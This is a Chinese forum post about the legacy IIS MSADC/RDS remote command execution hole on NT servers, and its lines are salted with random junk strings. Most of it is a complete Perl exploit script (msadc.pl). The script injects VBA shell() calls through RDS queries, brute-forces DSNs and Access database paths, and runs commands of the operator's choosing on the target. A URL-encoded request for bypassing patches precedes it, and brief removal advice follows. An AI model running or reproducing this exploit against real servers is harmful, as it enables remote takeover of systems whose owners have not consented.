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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^#-d^ )f;  
N8*6sK.  
涉及程序: Z*uv~0a>9Q  
Microsoft NT server  W^dk:  
(j<FS>##  
描述: 3 s%Kw,z  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 RHO | g0  
E3..$x-/  
详细: &.W,Hh  
如果你没有时间读详细内容的话,就删除: arVu`pD*n  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >- S?rXO  
有关的安全问题就没有了。 /wAx#[c[  
Nk JOD3>U  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  9t$#!2z  
*Wbs{>&No  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 [d"]AF[#  
关于利用ODBC远程漏洞的描述,请参看: 2Xw=kwu  
RBOb/.$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pg<m0g@W*;  
#3VOC#.  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ht>C6y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |:7 ^  
{"v~1W)  
这里不再论述。 FZFYwU\~.L  
QK~44;LVIJ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: FS'|e?WU  
)NF5,eD  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ov3FKMG?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! PI G3kJ  
nm#ISueh  
"aL.`^.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" x."R_>  
{beu  
#!perl D;1?IeS  
# 90"&KDh  
# MSADC/RDS 'usage' (aka exploit) script |.#G G7F^S  
# nj1TX  
# by rain.forest.puppy I8x,8}o>V  
# wak:"B[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jm ORKX+)  
# beta test and find errors! ?T1vc  
q g2 fTe  
use Socket; use Getopt::Std; og[cwa_  
getopts("e:vd:h:XR", \%args); ~`Y!_'(x  
1j_gQ,'20  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o}4~CN9}  
*VX"_C0Jy=  
if (!defined $args{h} && !defined $args{R}) { \=1$$EDS9  
print qq~ s!IX3rz  
Usage: msadc.pl -h <host> { -d <delay> -X -v } s7d4)A%  
-h <host> = host you want to scan (ip or domain) B3^F $6=  
-d <seconds> = delay between calls, default 1 second T0;8koj^_  
-X = dump Index Server path table, if available %~e+H|  
-v = verbose )k^y<lC2a  
-e = external dictionary file for step 5 '^|u\$&U  
M&[bb $00j  
Or a -R will resume a command session <(Rbu2_  
:~^_*:  
~; exit;} vZiuElxKi  
K0aT(Rc e  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; mAM:Q*a'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ikd1KF+I  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} jd.{J{o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); PQd*)6K:A  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} wPE\?en  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ROhhd.  
H8x66}  
if (!defined $args{R}){ $ret = &has_msadc; +^<s'  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H:#sf][&,L  
!kxJ&VmeF  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" P @Jo[J<  
. "cmd /c "; \Ota~A  
$in=<STDIN>; chomp $in; sRI0;  
$command="cmd /c " . $in ; ^7Rc\   
>d3`\(v-  
if (defined $args{R}) {&load; exit;} WR"?j 9y_q  
B"Ma<"HU  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; nl-y0xD9c  
&try_btcustmr; M!wa }  
@B`nM#X#  
print "\nStep 2: Trying to make our own DSN..."; .fgVzDR|+  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >~;= j~  
V8hmfV~=]P  
print "\nStep 3: Trying known DSNs..."; diWi0@  
&known_dsn; OZR{+YrB^  
( 5 BZZ  
print "\nStep 4: Trying known .mdbs..."; L9$`zc  
&known_mdb; [xdi.6 %  
`N}aV Ns  
if (defined $args{e}){ PX- PVW  
print "\nStep 5: Trying dictionary of DSN names..."; 2C Fgit  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } V7"^.W*  
7>V*gV?v  
print "Sorry Charley...maybe next time?\n"; zCdcwTe  
exit; p:;`X!  
_Rb>py  
############################################################################## Xqy9D ZIn  
b OolBKV  
sub sendraw { # ripped and modded from whisker :V0sKg|sS  
sleep($delay); # it's a DoS on the server! At least on mine... ES)@iM?5  
my ($pstr)=@_; ]7{ e~U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F.{$HJ  
die("Socket problems\n"); msVi3`q~  
if(connect(S,pack "SnA4x8",2,80,$target)){ Qt\^h/zjG  
select(S); $|=1; D JZ$M  
print $pstr; my @in=<S>; l4> c  
select(STDOUT); close(S); ny"z<N&}/  
return @in;  MwC}  
} else { die("Can't connect...\n"); }} x#XxD<y  
G ?Hx"3:?  
############################################################################## 5uX-onP\[  
+O)Y7k{?C5  
sub make_header { # make the HTTP request ?="?)t[  
my $msadc=<<EOT 0V ZC7@  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4(dgunP  
User-Agent: ACTIVEDATA :6 qt[(<"  
Host: $ip ] T<#bNK\1  
Content-Length: $clen |va^lT  
Connection: Keep-Alive jN AS'JV  
6~-,.{Y  
ADCClientVersion:01.06 IuY4R0Go  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 BS=~G+/:|  
#}HdylI\}  
--!ADM!ROX!YOUR!WORLD! twox.@"U  
Content-Type: application/x-varg f@ILC=c<  
Content-Length: $reqlen ,u=+%6b)A  
6Nws>(Ij  
EOT 7]_zWx,r  
; $msadc=~s/\n/\r\n/g; *\Lr]6k  
return $msadc;} :O7n*lwx  
'5(T0Ws/w  
############################################################################## h=4 GSU  
\hWac%#  
sub make_req { # make the RDS request W9QVfe#s  
my ($switch, $p1, $p2)=@_; dJe 3DW :  
my $req=""; my $t1, $t2, $query, $dsn; uO)vGzt3^x  
2;K2|G7  
if ($switch==1){ # this is the btcustmr.mdb query &O5O@3:7]  
$query="Select * from Customers where City=" . make_shell(); J |w%n5Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8O_yZ ~Z4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Us.k,  
[$c"}=g[+  
elsif ($switch==2){ # this is general make table query &`,Y/Cbw  
$query="create table AZZ (B int, C varchar(10))"; h'+F'1=  
$dsn="$p1";} 8#w%qij  
'6cXCO-_P  
elsif ($switch==3){ # this is general exploit table query ";;!c.!^  
$query="select * from AZZ where C=" . make_shell(); * ,zrg%8  
$dsn="$p1";} &smZ;yb|'h  
B1A:}#  
elsif ($switch==4){ # attempt to hork file info from index server lL&U ioo}D  
$query="select path from scope()"; +KaVvf  
$dsn="Provider=MSIDXS;";} g4y& 6!g  
I_ AFHrj  
elsif ($switch==5){ # bad query ];'7~",Y  
$query="select"; z8XWp[K  
$dsn="$p1";} /I((A /ks  
yp[,WZt  
$t1= make_unicode($query); 9o4h~Imu  
$t2= make_unicode($dsn); "}Ikx tee  
$req = "\x02\x00\x03\x00"; %OsxXO?  
$req.= "\x08\x00" . pack ("S1", length($t1)); BT`g'#O  
$req.= "\x00\x00" . $t1 ; os7xwI;T  
$req.= "\x08\x00" . pack ("S1", length($t2)); ia (&$a8X  
$req.= "\x00\x00" . $t2 ; :cf#Tpq"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r@}8TE*|P  
return $req;} !L@<?0x LW  
Bg] %  
############################################################################## Ylyk/  
xS:n  
sub make_shell { # this makes the shell() statement 0cDP:EzR;  
return "'|shell(\"$command\")|'";} LpL$=9  
fv@<  
############################################################################## {9@u:(<X9  
UmArl)R/  
sub make_unicode { # quick little function to convert to unicode Cg|\UKfy$  
my ($in)=@_; my $out; LIrebz  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0 6M?ecN  
return $out;} |MOz> 1<a  
2liJ^ `  
############################################################################## gm%cAme  
 <k0/O  
sub rdo_success { # checks for RDO return success (this is kludge) [RF]lM]w  
my (@in) = @_; my $base=content_start(@in); )TEm1\  
if($in[$base]=~/multipart\/mixed/){ 80`$F{xcX  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} f7|Tp m  
return 0;} "LSzF_mK  
$ai;8)C6  
############################################################################## d"n"A?nXh  
(tX)r4VU  
sub make_dsn { # this makes a DSN for us J7qTE8W=  
my @drives=("c","d","e","f"); :wN !E{0j  
print "\nMaking DSN: "; 1Vx5tOq  
foreach $drive (@drives) { D1 $ER>  
print "$drive: "; S;y4Z:!  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . E [6:}z<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6^!fuIZ;_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); C,A/29R,s  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c-v-U O%  
return 0 if $2 eq "404"; # not found/doesn't exist RehraY3q  
if($2 eq "200") { hsT&c|  
foreach $line (@results) { ->X>h_k.Y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} \*Yr&Lm  
} return 0;} N!MDD?0  
1/~=61msc  
############################################################################## ?D6|~k i  
^ g|VZN  
sub verify_exists { ~@)s)K  
my ($page)=@_; !A1~{G2VL_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ? |#dGk g  
return $results[0];} $PI9vyS  
YRCs&tgs  
############################################################################## + ~5P7dh6  
n I&p.i6  
sub try_btcustmr { OScqf]H  
my @drives=("c","d","e","f"); s2GF*{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (KwC,0p  
aL`wz !  
foreach $dir (@dirs) { "<{|ni}  
print "$dir -> "; # fun status so you can see progress ,p OGT71  
foreach $drive (@drives) { TVx `&C+  
print "$drive: "; # ditto "wuO[c&%/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; C\aHr!  
$reqlenlen=length( "$reqlen" ); vf$IF|  
$clen= 206 + $reqlenlen + $reqlen; +iFt)  
| oK9o6m4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Aq*?Q/pV  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #r]Z2Y]  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .)_2AoT7[  
096Yd=3h  
############################################################################## H17I" 5N  
la)^`STh  
sub odbc_error { AS@(]T#R  
my (@in)=@_; my $base; Kvo&_:  
my $base = content_start(@in); UAT\ .  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {wsJ1 v8!  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `}KxzD  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w/ (c}%v}=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '"\'<>Be  
return $in[$base+4].$in[$base+5].$in[$base+6];} mJ=V <_  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \wk;Bo  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =JgR c7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R ZQH#+*t}  
zSQy  
############################################################################## j6Sg~nRh  
M?UUT8,  
sub verbose { 'j<u0'K@  
my ($in)=@_; <n06(9BF  
return if !$verbose; @+H0D"  
print STDOUT "\n$in\n";} l EzN   
T'vI@i9  
############################################################################## c9fz x  
~/9RSdv7  
sub save { RJzIzv99m  
my ($p1, $p2, $p3, $p4)=@_; kHylg{i{"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #IZh}*$  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  \20} /&  
close OUT;} 0VSIyG_Z  
"n` z`{<n  
############################################################################## @$n $f  
!CcDA/0  
sub load { `6J7c;:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (lVMy\  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Z|$DchC  
@p=<IN>; close(IN); %" 7UYLX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); } O $]xB  
$target= inet_aton($ip) || die("inet_aton problems"); y|KQ`;  
print "Resuming to $ip ..."; {yWL|:#K  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VOM@x%6#c  
if($p[1]==1) { Wp8>Gfb2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Ycspdl+(S$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; v N\[2r%S  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Vjv6d&Q  
if (rdo_success(@results)){print "Success!\n";} `Ucj_6&Tqs  
else { print "failed\n"; verbose(odbc_error(@results));}} D@gC(&U/6  
elsif ($p[1]==3){ k|?[EWIi^  
if(run_query("$p[3]")){ 3&7? eO7*  
print "Success!\n";} else { print "failed\n"; }} VGD~) z57  
elsif ($p[1]==4){ &C+2p  
if(run_query($drvst . "$p[3]")){ XLCqB|8`V  
print "Success!\n"; } else { print "failed\n"; }} 1h?ve,$  
exit;} 1x;@BV  
CYgokS\=,  
############################################################################## ZxSFElDD]E  
<tF q^qB  
sub create_table { 4n6AK`E  
my ($in)=@_; =<3HOOC  
$reqlen=length( make_req(2,$in,"") ) - 28; b7dsi|Yo  
$reqlenlen=length( "$reqlen" ); )Bn }|6`  
$clen= 206 + $reqlenlen + $reqlen; k}H7bZug  
my @results=sendraw(make_header() . make_req(2,$in,"")); gM>?w{!LBx  
return 1 if rdo_success(@results); '~K]=JP  
my $temp= odbc_error(@results); verbose($temp); KFHZ3HZ:>  
return 1 if $temp=~/Table 'AZZ' already exists/; _7Y-gy#\a  
return 0;} =3QhGFd  
8`urkEI^r  
############################################################################## ub-e!{  
D^6iQW+.P  
sub known_dsn { g/!MEOVx  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go V~j^   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", OxGfLeP.R!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", >fI\f <ez  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1b3k|s4   
>_ZEQC  
foreach $dSn (@dsns) { p03I&d@w>  
print "."; g:)iEw>a  
next if (!is_access("DSN=$dSn")); LX7P?j  
if(create_table("DSN=$dSn")){ 'LPyh ;!f  
print "$dSn successful\n"; t e-xhJ&K  
if(run_query("DSN=$dSn")){ +] ;WN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q9rm9#}[J#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} FsJk"$}  
3`%E;?2  
############################################################################## n4S`k%CI  
xw}yl4WT{  
sub is_access { v{t pRL0  
my ($in)=@_; hZ*vk  
$reqlen=length( make_req(5,$in,"") ) - 28; wrgB =o  
$reqlenlen=length( "$reqlen" ); 2} pZyS  
$clen= 206 + $reqlenlen + $reqlen; BYEZ[cM  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1bQO:n):~  
my $temp= odbc_error(@results); c.Sd~k:3  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); _MTZuhY  
return 0;} L7buY(F(  
6CHb\k  
############################################################################## {:!>Y1w>  
0j(U &  
sub run_query { >dJuk6J&c&  
my ($in)=@_; VqW5VL a  
$reqlen=length( make_req(3,$in,"") ) - 28; ?SFQx \/  
$reqlenlen=length( "$reqlen" ); j [lS.Lb  
$clen= 206 + $reqlenlen + $reqlen; 06^/zr  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^.8~}TT-U  
return 1 if rdo_success(@results); A1+:y,wXs  
my $temp= odbc_error(@results); verbose($temp); A(E}2iP9=  
return 0;} G)I` M4}*n  
}6-olVg  
############################################################################## m8{8r>6*  
C}mhnU@  
sub known_mdb { ,H+Y1N4W(  
my @drives=("c","d","e","f","g"); U[x$QG6m!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F ><_gIT  
my $dir, $drive, $mdb; mN]WjfII  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]#f%Dku.m  
ljZRz$y  
# this is sparse, because I don't know of many lb'tVO  
my @sysmdbs=( "\\catroot\\icatalog.mdb", M{G}-QK_.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;X<Ez5v3  
"\\system32\\certmdb.mdb", U&BCd$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% KLW5Ad:/rI  
T(x@ gwc  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }p*|8$#x"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", x6R M)rr  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", E8r6P:5d`  
"\\cfusion\\cfapps\\security\\realm_.mdb", <DR|r  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", *Igb3 xK%  
"\\cfusion\\database\\cfexamples.mdb", )m;*d7l~p  
"\\cfusion\\database\\cfsnippets.mdb", OJa(Gds  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 4RVqfD  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", jdJTOT  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 2kVZlt'y  
"\\cfusion\\database\\smpolicy.mdb", 8b'@_s!_  
"\\cfusion\\database\cypress.mdb", !38KHq^|&  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", UU>+b:  
"\\website\\cgi-win\\dbsample.mdb", tNr'@ls  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", cdL]s^z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" tcXXo&ZS  
); #these are just MF<ZB_@  
foreach $drive (@drives) {  ?{"r(  
foreach $dir (@dirs){ ^PNDxtd|v  
foreach $mdb (@sysmdbs) { k5aB|xo  
print "."; @z ",1^I  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ # tu>h  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; d~~, 5E  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ )TiM>{  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; T}^3Re`i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ]$L5}pE3  
(o B4*  
foreach $drive (@drives) { o-H?q!  
foreach $mdb (@mdbs) { v%T'!(0j/  
print "."; a r8iuwfZ  
if(create_table($drv . $drive . $dir . $mdb)){ gyAJ#N|  
print "\n" . $drive . $dir . $mdb . " successful\n"; [G$#jUt/O  
if(run_query($drv . $drive . $dir . $mdb)){ 5xdeuBEY8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  4t(/F`  
} else { print "Something's borked. Use verbose next time\n"; }}}} hH5~T5?\  
} f}2}Ta  
Z C01MDIY  
############################################################################## _*e_? ]G-  
TSewq4`K  
sub hork_idx { vc"!3x-G*  
print "\nAttempting to dump Index Server tables...\n"; @6~lZgXOV[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [A =0fg5  
$reqlen=length( make_req(4,"","") ) - 28; wX}p6yyN  
$reqlenlen=length( "$reqlen" ); \:{K",2  
$clen= 206 + $reqlenlen + $reqlen; YOLzCnI4  
my @results=sendraw2(make_header() . make_req(4,"","")); uT, i&  
if (rdo_success(@results)){ [5L?#Y  
my $max=@results; my $c; my %d; C`_/aR6  
for($c=19; $c<$max; $c++){ i,ZEUdd*_  
$results[$c]=~s/\x00//g; 2k<#e2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7OmT^jV2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ds!n l1  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; B;N<{Gb  
$d{"$1$2"}="";} ULz<P  
foreach $c (keys %d){ print "$c\n"; } bC:sd2s  
} else {print "Index server doesn't seem to be installed.\n"; }} RKzty=j4  
Z S=H1  
############################################################################## k)7i^ 1U  
7oF3^K'S  
sub dsn_dict { {Cm!5QYy  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,L-/7}"VHA  
while(<IN>){ W>a}g[Ad  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; KX9IC 5pR  
next if (!is_access("DSN=$dSn")); 7mYcO3{5{  
if(create_table("DSN=$dSn")){ +^(_S9CO  
print "$dSn successful\n"; P _fCb  
if(run_query("DSN=$dSn")){ /gF)msUF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0yC~"u[N Y  
print "Something's borked. Use verbose next time\n";}}} N2s"$Ttq  
print "\n"; close(IN);} #d$z W4ur2  
{Ia1H  
############################################################################## <$-^^b(y  
hT-^1 :N  
sub sendraw2 { # ripped and modded from whisker _Sd^/jGpU  
sleep($delay); # it's a DoS on the server! At least on mine... BkB _?^Nv8  
my ($pstr)=@_; {7m2vv?Z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  Rw0|q  
die("Socket problems\n"); HL"c yxe  
if(connect(S,pack "SnA4x8",2,80,$target)){ !Q|a R  
print "Connected. Getting data"; ^/E'Rf3[A  
open(OUT,">raw.out"); my @in; 0>CG2SRn  
select(S); $|=1; print $pstr; [ K/l;Zd  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} cJ$jU{}  
close(OUT); select(STDOUT); close(S); return @in; }:faHLYT  
} else { die("Can't connect...\n"); }} n~yHt/T  
cy,6^d  
############################################################################## n(Nu  
q]: 72+  
sub content_start { # this will take in the server headers sG#Os  
my (@in)=@_; my $c; ?1\I/ 'E9  
for ($c=1;$c<500;$c++) { 3v_j*wy  
if($in[$c] =~/^\x0d\x0a/){ / Q@4HV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } eG(YORkR  
else { return $c+1; }}} /~'C!so[v  
return -1;} # it should never get here actually r~T!$Tb  
h?dSn:Y\?  
############################################################################## heIys.p  
D+uo gRS61  
sub funky { v[uVAbfQ  
my (@in)=@_; my $error=odbc_error(@in); V.`hk^V,  
if($error=~/ADO could not find the specified provider/){ J&\Q3_vro9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \wz^Z{U  
exit;} IQ\!wWKmY  
if($error=~/A Handler is required/){ &_Cc  
print "\nServer has custom handler filters (they most likely are patched)\n"; ib(|}7Je  
exit;} bgE]Wk0  
if($error=~/specified Handler has denied Access/){ 0o$RvxJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; p]S'pzh  
exit;}} A<c<!N  
ktqFgU#rT  
############################################################################## Jm CHwyUK?  
? 0X$ox  
sub has_msadc { @Un/,-ck  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); UeCi{ W  
my $base=content_start(@results); JzN "o'  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); zu?112-v2  
return 0;} -x6_HibbD  
[x 7Rq_^  
######################## gnN>Rl 5_  
'Y2$9qy-L  
X HJdynt/  
解决方案: gKTCfD~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *bpN!2  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 _hV34:1F  
+?6]Vu&|f  
拿出来充数 哈哈
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